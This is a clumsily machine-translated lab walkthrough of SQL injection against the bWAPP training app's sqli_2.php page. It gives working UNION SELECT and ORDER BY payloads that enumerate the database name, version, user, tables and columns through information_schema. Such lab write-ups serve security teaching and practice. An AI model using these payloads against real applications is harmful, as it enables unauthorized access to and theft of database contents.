The Bwapp of SQL injection sqli_2.php

Source: Internet
Author: User

1, first input single quotation marks to judge, the result is "Error:you" has an Error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use-near ' in line 1 ', three single quotes, description single quote Redundant, should be digital injection that is integral injection, such as:

2, with "and 1=1" and "and 1=2" under the judgment, such as:


Two times the page is different, indicating there is an injection point, and the number of font injection.
3. Number of query fields:
Enter "movie=1 ORDER by 7" and "Movie=1 Order by 8", result 7 is normal, 8 error, the number of fields is 7, the result is as follows:


Enter "movie=-1 Union select 1,2,3,4,5,6,7" To view the display location, results

4, query database name and other information:
Enter "Movie=-1 Union select 1,database (), version (), 4,user (), 6,7", view database name, database version, current user, results

5. Query Table name:
Input "movie=-1 Union select 1,database (), version (), Table_name,user (), 6,7 from Information_schema.tables where Table_ Schema= ' Bwapp ', at this time only a blog table, the results such as:

6. Query Field Name:
Input "movie=-1 Union select 1,database (), version (), Column_name,user (), 6,7 from Information_schema.columns where Table_ Name= ' blog ', field only ID, results such as:

7, query the contents of the field:
Enter "Movie=-1 Union select 1,database (), version (), Id,user (), 6,7 from blog", Return no data. The key is this step and train of thought, result not too tangled.

The Bwapp of SQL injection sqli_2.php

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.